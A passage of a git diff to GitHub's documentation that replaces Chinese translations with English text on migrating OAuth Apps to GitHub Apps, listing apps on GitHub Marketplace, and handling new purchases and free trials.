reviewing the list of API endpoints you need as early as possible. Please let Support know if there is an endpoint you require that is not yet enabled for {% data variables.product.prodname_github_apps %}. -我们建议您尽早查看所需的 API 端点列表。 如果尚未为 {% data variables.product.prodname_github_apps %} 启用您需要的端点，请告知支持人员。 +### Design to stay within API rate limits -### 设计保持在 API 速率限制内 +GitHub Apps use [sliding rules for rate limits](/apps/building-github-apps/understanding-rate-limits-for-github-apps/), which can increase based on the number of repositories and users in the organization. A GitHub App can also make use of [conditional requests](/rest/overview/resources-in-the-rest-api#conditional-requests) or consolidate requests by using the [GraphQL API V4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql). -GitHub 应用程序使用[滑动速率限制规则](/apps/building-github-apps/understanding-rate-limits-for-github-apps/)，可根据组织中仓库和用户的数量而增加速率上限。 GitHub 应用程序还可以通过使用 [GraphQL API V4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) 来利用[条件请求](/rest/overview/resources-in-the-rest-api#conditional-requests)或合并请求。 +### Register a new GitHub App -### 注册新的 GitHub 应用程序 +Once you've decided to make the switch to GitHub Apps, you'll need to [create a new GitHub App](/apps/building-github-apps/). -一旦决定要切换到 GitHub 应用程序，就需要[创建新的 GitHub 应用程序](/apps/building-github-apps/)。 +### Determine the permissions your app requires -### 确定应用程序所需的权限 +When registering your GitHub App, you'll need to select the permissions required by each endpoint used in your app's code. See "[GitHub App permissions](/rest/reference/permissions-required-for-github-apps)" for a list of the permissions needed for each endpoint available to GitHub Apps. -注册 GitHub 应用程序时，您需要选择应用程序代码中使用的每个端点所需的权限。 有关 GitHub 应用程序可用的每个端点所需的权限列表，请参阅“[GitHub 应用程序权限](/rest/reference/permissions-required-for-github-apps)”。 +In your GitHub App's settings, you can specify whether your app needs `No Access`, `Read-only`, or `Read & Write` access for each permission type. The fine-grained permissions allow your app to gain targeted access to the subset of data you need. We recommend specifying the smallest set of permissions possible that provides the desired functionality. -在 GitHub 应用程序的设置中，您可以针对每种权限类型指定您的应用程序是否需要 `No Access`、`Read-only` 或 `Read & Write` 权限。 精细权限允许您的应用程序获得有针对性的权限以访问您需要的数据子集。 我们建议指定能够提供所需功能的最小权限集。 +### Subscribe to webhooks -### 订阅 web 挂钩 +After you've created a new GitHub App and selected its permissions, you can select the webhook events you wish to subscribe it to. See "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" to learn how to subscribe to webhooks. -创建新的 GitHub 应用程序并选择其权限后，您可以选择要它订阅的 web 挂钩事件。 有关如何订阅 web 挂钩，请参阅“[编辑 GitHub 应用程序的权限](/apps/managing-github-apps/editing-a-github-app-s-permissions/)”。 +### Understand the different methods of authentication -### 了解不同的身份验证方法 +GitHub Apps primarily use a token-based authentication that expires after a short amount of time, providing more security than an OAuth token that does not expire. It’s important to understand the different methods of authentication available to you and when you need to use them: -GitHub 应用程序主要使用在短时间后过期的基于令牌的身份验证，比不会过期的 OAuth 令牌更安全。 了解您可以使用的不同身份验证方法以及您何时需要使用它们，这非常重要： +* A **JSON Web Token (JWT)** [authenticates as the GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app). For example, you can authenticate with a **JWT** to fetch application installation details or exchange the **JWT** for an **installation access token**. +* An **installation access token** [authenticates as a specific installation of your GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation) (also called server-to-server requests). For example, you can authenticate with an **installation access token** to open an issue or provide feedback on a pull request. +* An **OAuth access token** can [authenticate as a user of your GitHub App](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site) (also called user-to-server requests). For example, you can use an OAuth access token to authenticate as a user when a GitHub App needs to verify a user’s identity or act on a user’s behalf. -* **JSON Web 令牌 (JWT)** [验证为 GitHub 应用程序](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app)。 例如，您可以使用 **JWT** 进行身份验证，以获取应用程序安装设施的详细信息或将 **JWT** 交换为**安装访问令牌**。 -* **安装访问令牌**[验证为 GitHub 应用程序的特定安装设施](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)（也称为服务器到服务器请求）。 例如，您可以使用**安装访问令牌**进行身份验证以打开议题或提供对拉取请求的反馈。 -* **OAuth 访问令牌**可以[验证为 GitHub 应用程序的用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site)（也称为用户到服务器请求）。 例如， 当 GitHub 应用程序需要验证用户身份或代表用户执行操作时，您可以使用 OAuth 访问令牌验证为用户。 +The most common scenario is to authenticate as a specific installation using an **installation access token**. -最常见的情况是使用**安装访问令牌**验证为特定安装设施。 +### Direct users to install your GitHub App on repositories -### 指导用户在仓库中安装您的 GitHub 应用程序 +Once you've made the transition from an OAuth App to a GitHub App, you will need to let users know that the GitHub App is available to install. For example, you can include an installation link for the GitHub App in a call-to-action banner inside your application. To ease the transition, you can use query parameters to identify the user or organization account that is going through the installation flow for your GitHub App and pre-select any repositories your OAuth App had access to. This allows users to easily install your GitHub App on repositories you already have access to. -从 OAuth 应用程序过渡到 GitHub 应用程序后，您需要让用户知道 GitHub 应用程序可供安装。 例如，您可以在应用程序内的呼吁横幅中添加 GitHub 应用程序的安装链接。 为了简化过渡，您可以使用查询参数来识别将要完成 GitHub 应用程序安装流程的用户或组织帐户，并预先选择 OAuth 应用程序可以访问的任何仓库。 这使用户可以轻松地在您有权访问的仓库上安装 GitHub 应用程序。 +#### Query parameters -#### 查询参数 +| Name | Description | +|------|-------------| +| `suggested_target_id` | **Required**: ID of the user or organization that is installing your GitHub App. | +| `repository_ids[]` | Array of repository IDs. If omitted, we select all repositories. The maximum number of repositories that can be pre-selected is 100. | -| 名称 | 描述 | -| --------------------- | ---------------------------------------------- | -| `suggested_target_id` | **必填**：要安装您的 GitHub 应用程序的用户或组织的 ID。 | -| `repository_ids[]` | 仓库 ID 的数组。 如果省略，我们将选择所有仓库。 可以预先选择的仓库最大数量为 100。 | - -#### 示例 URL +#### Example URL ``` https://github.com/apps/YOUR_APP_NAME/installations/new/permissions?suggested_target_id=ID_OF_USER_OR_ORG&repository_ids[]=REPO_A_ID&repository_ids[]=REPO_B_ID ``` -您需要将 `YOUR_APP_NAME` 替换为 GitHub 应用程序的名称，将 `ID_OF_USER_OR_ORG` 替换为目标用户或组织的 ID，并包含最多 100 个仓库 ID（`REPO_A_ID` 和 `REPO_B_ID`）。 要获取 OAuth 应用程序有权访问的仓库列表，请使用[列出经验证用户的仓库](/rest/reference/repos#list-repositories-for-the-authenticated-user)和[列出组织仓库](/rest/reference/repos#list-organization-repositories)端点。 +You'll need to replace `YOUR_APP_NAME` with the name of your GitHub App, `ID_OF_USER_OR_ORG` with the ID of your target user or organization, and include up to 100 repository IDs (`REPO_A_ID` and `REPO_B_ID`). To get a list of repositories your OAuth App has access to, use the [List repositories for the authenticated user](/rest/reference/repos#list-repositories-for-the-authenticated-user) and [List organization repositories](/rest/reference/repos#list-organization-repositories) endpoints. -### 删除任何不必要的仓库挂钩 +### Remove any unnecessary repository hooks -在仓库中安装 GitHub 应用程序后，应删除由原有 OAuth 应用程序创建的任何不必要的 web 挂钩。 如果两个应用程序都安装在仓库中，它们可能会为用户重复执行功能。 要删除 web 挂钩，您可以使用 `repositories_added` 操作侦听 [`installation_repositories` web 挂钩](/webhooks/event-payloads/#installation_repositories)，并删除 OAuth 应用程序在这些仓库中创建的[仓库 web 挂钩](/rest/reference/repos#delete-a-repository-webhook)。 +Once your GitHub App has been installed on a repository, you should remove any unnecessary webhooks that were created by your legacy OAuth App. If both apps are installed on a repository, they may duplicate functionality for the user. To remove webhooks, you can listen for the [`installation_repositories` webhook](/webhooks/event-payloads/#installation_repositories) with the `repositories_added` action and [Delete a repository webhook](/rest/reference/repos#delete-a-repository-webhook) on those repositories that were created by your OAuth App. -### 鼓励用户撤销 OAuth 应用程序的访问权限 +### Encourage users to revoke access to your OAuth app -随着 GitHub 应用程序安装基础的增长，请考虑鼓励用户撤销原有 OAuth 集成的访问权限。 更多信息请参阅“[授权 OAuth 应用程序](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)”。 +As your GitHub App installation base grows, consider encouraging your users to revoke access to the legacy OAuth integration. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)." -### 删除 OAuth 应用程序 +### Delete the OAuth App -为了避免滥用 OAuth 应用程序的凭据，请考虑删除 OAuth 应用程序。 此操作还将撤销 OAuth 应用程序的所有剩余授权。 更多信息请参阅“[删除 OAuth 应用程序](/developers/apps/managing-oauth-apps/deleting-an-oauth-app)”。 +To avoid abuse of the OAuth App's credentials, consider deleting the OAuth App. This action will also revoke all of the OAuth App's remaining authorizations. For more information, see "[Deleting an OAuth App](/developers/apps/managing-oauth-apps/deleting-an-oauth-app)." diff --git a/translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md b/translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md index 4d29f7fabd..9b9bc6f646 100644 --- a/translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md +++ b/translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub Marketplace -intro: '了解 {% data variables.product.prodname_marketplace %}，您可以在其中向所有 {% data variables.product.product_name %} 用户公开分享您的应用程序和操作。' +title: About GitHub Marketplace +intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -11,56 +11,55 @@ versions: topics: - Marketplace --- - -[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) 为您与希望扩展和改进其 {% data variables.product.prodname_dotcom %} 工作流程的开发者提供纽带。 您可以在 {% data variables.product.prodname_marketplace %} 中上架免费和付费的工具，供开发者使用。 {% data variables.product.prodname_marketplace %} 为开发者提供两种类型的工具：{% data variables.product.prodname_actions %} 和应用程序，每种工具都需要不同的步骤才能添加到 {% data variables.product.prodname_marketplace %} 中。 +[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) connects you to developers who want to extend and improve their {% data variables.product.prodname_dotcom %} workflows. You can list free and paid tools for developers to use in {% data variables.product.prodname_marketplace %}. {% data variables.product.prodname_marketplace %} offers developers two types of tools: {% data variables.product.prodname_actions %} and Apps, and each tool requires different steps for adding it to {% data variables.product.prodname_marketplace %}. ## GitHub Actions {% data reusables.actions.actions-not-verified %} -要了解如何在 {% data variables.product.prodname_marketplace %} 中发布 {% data variables.product.prodname_actions %}，请参阅“[在 GitHub Marketplace 中发布操作](/actions/creating-actions/publishing-actions-in-github-marketplace)”。 +To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." -## 应用 +## Apps -任何人都可以在 {% data variables.product.prodname_marketplace %} 上与其他用户分享其应用程序，但只有组织拥有的应用程序才能出售。 +Anyone can share their apps with other users for free on {% data variables.product.prodname_marketplace %} but only apps owned by organizations can sell their app. -要发布应用程序付费计划并显示 Marketplace 徽章，您必须完成发布者验证过程。 更多信息请参阅“[为组织申请发布者验证](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)”或“[上架应用程序的要求](/developers/github-marketplace/requirements-for-listing-an-app)”。 +To publish paid plans for your app and display a marketplace badge, you must complete the publisher verification process. For more information, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)" or "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." -组织满足要求后，组织中具有所有者权限的人可以发布其任何应用程序的付费计划。 每个具有付费计划的应用程序还要完成财务手续才能启用付款。 +Once the organization meets the requirements, someone with owner permissions in the organization can publish paid plans for any of their apps. Each app with a paid plan also goes through a financial onboarding process to enable payments. -要发布具有免费计划的应用程序，只需满足上架任何应用程序的一般要求即可。 更多信息请参阅“[所有 GitHub Marketplace 上架产品的要求](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings)”。 +To publish apps with free plans, you only need to meet the general requirements for listing any app. For more information, see "[Requirements for all GitHub Marketplace listings](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings)." -### 不熟悉应用程序？ +### New to apps? -如果您有兴趣为 {% data variables.product.prodname_marketplace %} 创建应用程序，但对于 {% data variables.product.prodname_github_apps %} 或 {% data variables.product.prodname_oauth_apps %} 比较陌生，请参阅“[构建 {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)”或“[构建 {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps)”。 +If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_apps %}, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps)." -### {% data variables.product.prodname_github_apps %} 与 {% data variables.product.prodname_oauth_apps %} 的比较 +### {% data variables.product.prodname_github_apps %} vs. {% data variables.product.prodname_oauth_apps %} -{% data reusables.marketplace.github_apps_preferred %}，尽管您可以在 {% data variables.product.prodname_marketplace %} 同时列出OAuth 和 {% data variables.product.prodname_github_apps %}。 更多信息请参阅“[{% data variables.product.prodname_github_apps %} 与 {% data variables.product.prodname_oauth_apps %} 之间的差异](/apps/differences-between-apps/)”和“[将 {% data variables.product.prodname_oauth_apps %} 迁移到 {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)”。 +{% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_apps %} in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_apps %} to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." -## 将应用程序发布到 {% data variables.product.prodname_marketplace %} 概述 +## Publishing an app to {% data variables.product.prodname_marketplace %} overview -完成创建应用程序后，您可以将其发布到 {% data variables.product.prodname_marketplace %}，以便与其他用户分享它。 过程归纳如下： +When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: -1. 仔细检查您的应用程序，以确保它在其他仓库中的行为与预期一致，并且遵循最佳实践指南。 更多信息请参阅“[应用程序的安全最佳实践](/developers/github-marketplace/security-best-practices-for-apps)”和“[上架应用程序的要求](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)”。 +1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." -1. 将 web 挂钩事件添加到应用程序以跟踪用户帐单请求。 有关 {% data variables.product.prodname_marketplace %} API、web 挂钩事件以及帐单请求的更多信息，请参阅“[在应用程序中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。 +1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." -1. 创建 {% data variables.product.prodname_marketplace %} 上架信息草稿。 更多信息请参阅“[起草应用程序上架信息](/developers/github-marketplace/drafting-a-listing-for-your-app)”。 +1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." -1. 添加定价计划。 更多信息请参阅“[为上架产品设置定价计划](/developers/github-marketplace/setting-pricing-plans-for-your-listing)”。 +1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." -1. 读取并接受"\[{% data variables.product.prodname_marketplace %} 开发者协议\](/free-profound proteam@latest/github/site-policy/github-marketplace-developer-agreement." 的条款。 +1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement." -1. 提交要在 {% data variables.product.prodname_marketplace %} 中发布的上架信息。 更多信息请参阅“[提交要发布的上架信息](/developers/github-marketplace/submitting-your-listing-for-publication)”。 +1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." -## 查看应用程序的表现 +## Seeing how your app is performing -您可以访问上架产品的指标和交易。 更多信息请参阅： +You can access metrics and transactions for your listing. For more information, see: -- “[查看上架产品的指标](/developers/github-marketplace/viewing-metrics-for-your-listing)” -- “[查看上架产品的交易](/developers/github-marketplace/viewing-transactions-for-your-listing)” +- "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" +- "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" -## 联系支持 +## Contacting Support -如果您对 {% data variables.product.prodname_marketplace %} 有疑问，请直接联系 {% data variables.contact.contact_support %}。 +If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. diff --git a/translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/index.md b/translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/index.md index e9a5336da5..a478d03e36 100644 --- a/translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/index.md +++ b/translations/zh-CN/content/developers/github-marketplace/github-marketplace-overview/index.md @@ -1,6 +1,6 @@ --- -title: GitHub Marketplace 概述 -intro: '了解如何在 {% data variables.product.prodname_marketplace %} 上与 {% data variables.product.company_short %} 社区分享您的应用程序或操作。' +title: GitHub Marketplace Overview +intro: 'Learn how you can share your app or action with the {% data variables.product.company_short %} community on {% data variables.product.prodname_marketplace %}.' versions: fpt: '*' ghec: '*' @@ -8,6 +8,6 @@ children: - /about-github-marketplace - /about-marketplace-badges - /applying-for-publisher-verification-for-your-organization -shortTitle: 概览 +shortTitle: Overview --- diff --git a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md index 98196969f1..bc99d680d1 100644 --- a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md +++ b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md @@ -1,6 +1,6 @@ --- -title: 处理新购买和免费试用 -intro: '当客户购买您的 {% data variables.product.prodname_marketplace %} 应用程序的付费计划、免费试用版或免费版本时，您将收到 [`marketplace_purchase` 事件](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) web 挂钩，挂钩中带有可启动购买流程的 `purchased` 操作。' +title: Handling new purchases and free trials +intro: 'When a customer purchases a paid plan, free trial, or the free version of your {% data variables.product.prodname_marketplace %} app, you''ll receive the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhook with the `purchased` action, which kicks off the purchasing flow.' redirect_from: - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-github-apps/ - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-oauth-apps/ @@ -12,73 +12,72 @@ versions: ghec: '*' topics: - Marketplace -shortTitle: 新购买和免费试用 +shortTitle: New purchases & free trials --- - {% warning %} -如果在 {% data variables.product.prodname_marketplace %} 中提供 {% data variables.product.prodname_github_app %}，您的应用程序必须按照 OAuth 授权流程来识别用户。 您不需要设置单独的 {% data variables.product.prodname_oauth_app %} 来支持此流程。 更多信息请参阅“[识别和授权 {% data variables.product.prodname_github_apps %} 的用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”。 +If you offer a {% data variables.product.prodname_github_app %} in {% data variables.product.prodname_marketplace %}, your app must identify users following the OAuth authorization flow. You don't need to set up a separate {% data variables.product.prodname_oauth_app %} to support this flow. See "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)" for more information. {% endwarning %} -## 步骤 1. 首次购买和 web 挂钩事件 +## Step 1. Initial purchase and webhook event -客户在购买 {% data variables.product.prodname_marketplace %} 应用程序之前，需要选择[上架产品计划](/marketplace/selling-your-app/github-marketplace-pricing-plans/)。 他们还要选择是从个人帐户还是从组织帐户购买应用程序。 +Before a customer purchases your {% data variables.product.prodname_marketplace %} app, they select a [listing plan](/marketplace/selling-your-app/github-marketplace-pricing-plans/). They also choose whether to purchase the app from their personal account or an organization account. -客户通过单击 **Complete order and begin installation（完成订单并开始安装）**来完成购买。 +The customer completes the purchase by clicking **Complete order and begin installation**. -然后，{% data variables.product.product_name %} 将带有 `purchased` 操作的 [`marketplace_purchase`](/webhooks/event-payloads/#marketplace_purchase) web 挂钩发送到您的应用程序。 +{% data variables.product.product_name %} then sends the [`marketplace_purchase`](/webhooks/event-payloads/#marketplace_purchase) webhook with the `purchased` action to your app. -从 `marketplace_purchase` web 挂钩读取 `effective_date` 和 `marketplace_purchase` 对象，以确定客户购买了哪个计划、何时开始结算周期以及何时开始下一个结算周期。 +Read the `effective_date` and `marketplace_purchase` object from the `marketplace_purchase` webhook to determine which plan the customer purchased, when the billing cycle starts, and when the next billing cycle begins. -如果您的应用程序提供免费试用版，则从 web 挂钩读取 `marketplace_purchase[on_free_trial]` 属性。 如果该值为 `true`，则应用程序需要跟踪免费试用开始日期 (`effective_date`) 和免费试用结束日期 (`free_trial_ends_on`)。 使用 `free_trial_ends_on` 日期在应用程序的 UI 中显示免费试用剩余天数。 您可以在横幅或[帐单 UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui) 中显示它。 要了解如何在免费试用结束前处理取消，请参阅“[处理计划取消](/developers/github-marketplace/handling-plan-cancellations)”。 请参阅“[处理计划更改](/developers/github-marketplace/handling-plan-changes)”，了解在免费试用期满后如何从免费试用版过渡到付费计划。 +If your app offers a free trial, read the `marketplace_purchase[on_free_trial]` attribute from the webhook. If the value is `true`, your app will need to track the free trial start date (`effective_date`) and the date the free trial ends (`free_trial_ends_on`). Use the `free_trial_ends_on` date to display the remaining days left in a free trial in your app's UI. You can do this in either a banner or in your [billing UI](/marketplace/selling-your-app/billing-customers-in-github-marketplace/#providing-billing-services-in-your-apps-ui). To learn how to handle cancellations before a free trial ends, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)." See "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)" to find out how to transition a free trial to a paid plan when a free trial expires. -有关 `marketplace_purchase` 事件有效负载的示例，请参阅“[{% data variables.product.prodname_marketplace %} web 挂钩事件](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)”。 +See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload. -## 步骤 2. 安装 +## Step 2. Installation -如果您的应用程序是 {% data variables.product.prodname_github_app %}， {% data variables.product.product_name %} 在客户购买时会提示他们选择应用程序可以访问哪些仓库。 然后，{% data variables.product.product_name %} 将应用程序安装在客户选择的帐户上，并授予对所选仓库的访问权限。 +If your app is a {% data variables.product.prodname_github_app %}, {% data variables.product.product_name %} prompts the customer to select which repositories the app can access when they purchase it. {% data variables.product.product_name %} then installs the app on the account the customer selected and grants access to the selected repositories. -此时，如果您在 {% data variables.product.prodname_github_app %} 设置中指定了**设置 URL** ，则 {% data variables.product.product_name %} 将客户重定向到该 URL。 如果您没有指定设置 URL，则无法处理购买 {% data variables.product.prodname_github_app %} 的购买。 +At this point, if you specified a **Setup URL** in your {% data variables.product.prodname_github_app %} settings, {% data variables.product.product_name %} will redirect the customer to that URL. If you do not specify a setup URL, you will not be able to handle purchases of your {% data variables.product.prodname_github_app %}. {% note %} -**注：****设置 URL** 在 {% data variables.product.prodname_github_app %} 设置中被描述为可选项，但如果您要在 {% data variables.product.prodname_marketplace %} 中提供应用程序，则它为必填字段。 +**Note:** The **Setup URL** is described as optional in {% data variables.product.prodname_github_app %} settings, but it is a required field if you want to offer your app in {% data variables.product.prodname_marketplace %}. {% endnote %} -如果您的应用程序是 {% data variables.product.prodname_oauth_app %}，{% data variables.product.product_name %} 不会在任何地方安装它。 相反，{% data variables.product.product_name %} 会将客户重定向到您在 [{% data variables.product.prodname_marketplace %} 上架信息](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#listing-urls)中指定的**安装 URL**。 +If your app is an {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} does not install it anywhere. Instead, {% data variables.product.product_name %} redirects the customer to the **Installation URL** you specified in your [{% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/#listing-urls). -当客户购买 {% data variables.product.prodname_oauth_app %} 时，{% data variables.product.product_name %} 会将客户重定向到您选择的 URL（设置 URL 或安装 URL），并且该 URL 将客户选择的定价计划包含为查询参数：`marketplace_listing_plan_id`。 +When a customer purchases an {% data variables.product.prodname_oauth_app %}, {% data variables.product.product_name %} redirects the customer to the URL you choose (either Setup URL or Installation URL) and the URL includes the customer's selected pricing plan as a query parameter: `marketplace_listing_plan_id`. -## 步骤 3. 授权 +## Step 3. Authorization -当客户购买您的应用程序时，您必须通过 OAuth 授权流程发送客户： +When a customer purchases your app, you must send the customer through the OAuth authorization flow: -* 如果您的应用程序是 {% data variables.product.prodname_github_app %}，只要 {% data variables.product.product_name %} 将客户重定向到**设置 URL** 便开始授权。 请遵循“[识别和授权 {% data variables.product.prodname_github_apps %} 的用户](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)”中的步骤。 +* If your app is a {% data variables.product.prodname_github_app %}, begin the authorization flow as soon as {% data variables.product.product_name %} redirects the customer to the **Setup URL**. Follow the steps in "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." -* 如果您的应用程序是 {% data variables.product.prodname_oauth_app %}，只要 {% data variables.product.product_name %} 将客户重定向到**安装 URL** 便开始授权。 请遵循“[授权 {% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/authorizing-oauth-apps/)”中的步骤。 +* If your app is an {% data variables.product.prodname_oauth_app %}, begin the authorization flow as soon as {% data variables.product.product_name %} redirects the customer to the **Installation URL**. Follow the steps in "[Authorizing {% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/authorizing-oauth-apps/)." -对于任一类型的应用程序，第一步都是将客户重定向到 https://github.com/login/oauth/authorize。 +For either type of app, the first step is to redirect the customer to https://github.com/login/oauth/authorize. -客户完成授权后，您的应用程序将收到客户的 OAuth 访问令牌。 下一步将需要使用此令牌。 +After the customer completes the authorization, your app receives an OAuth access token for the customer. You'll need this token for the next step. {% note %} -**注：**授权客户免费试用时，请授予他们与付费计划相同的访问权限。 试用期结束后，将其移至付费计划。 +**Note:** When authorizing a customer on a free trial, grant them the same access they would have on the paid plan. You'll move them to the paid plan after the trial period ends. {% endnote %} -## 步骤 4. 预配客户帐户 +## Step 4. Provisioning customer accounts -您的应用程序必须为所有新购买预配客户帐户。 使用在[步骤 3. 授权](#step-3-authorization)中收到的客户访问令牌，调用“[列出经验证用户的订阅](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)”端点。 响应将包括客户的 `account` 信息，并显示他们是否在使用免费试用版 (`on_free_trial`)。 使用此信息完成设置和预配。 +Your app must provision a customer account for all new purchases. Using the access token you received for the customer in [Step 3. Authorization](#step-3-authorization), call the "[List subscriptions for the authenticated user](/rest/reference/apps#list-subscriptions-for-the-authenticated-user)" endpoint. The response will include the customer's `account` information and show whether they are on a free trial (`on_free_trial`). Use this information to complete setup and provisioning. {% data reusables.marketplace.marketplace-double-purchases %} -如果客户是为组织按用户购买应用程序，您可以提示客户选择哪些组织成员将有权访问所购买的应用程序。 +If the purchase is for an organization and per-user, you can prompt the customer to choose which organization members will have access to the purchased app. -您可以自定义组织成员获取应用程序访问权限的方式。 以下是一些建议： +You can customize the way that organization members receive access to your app. Here are a few suggestions: -**统一定价：**如果客户是使用统一定价为组织购买应用程序，您的应用程序可以通过 API [获取组织的所有成员](/rest/reference/orgs#list-organization-members)，并提示组织管理员选择哪些成员作为集成者一方的付费用户。 +**Flat-rate pricing:** If the purchase is made for an organization using flat-rate pricing, your app can [get all the organization’s members](/rest/reference/orgs#list-organization-members) via the API and prompt the organization admin to choose which members will have paid users on the integrator side. -**每单位定价：**一种预配每单位席位的方法，允许用户在登录应用程序时占用一个席位。 一旦客户达到席位数阈值，您的应用程序就可以提醒用户他们需要通过 {% data variables.product.prodname_marketplace %} 进行升级。 +**Per-unit pricing:** One method of provisioning per-unit seats is to allow users to occupy a seat as they log in to the app. Once the customer hits the seat count threshold, your app can alert the user that they need to upgrade through {% data variables.product.prodname_marketplace %}. diff --git a/translations/zh-CN/content/developers/overview/managing-deploy-keys.md b/translations/zh-CN/content/developers/overview/managing-deploy-keys.md index bc84d3bc5c..b651619a2c 100644 --- a/translations/zh-CN/content/developers/overview/managing-deploy-keys.md +++ b/translations/zh-CN/content/developers/overview/managing-deploy-keys.md @@ -1,6 +1,6 @@ --- -title: 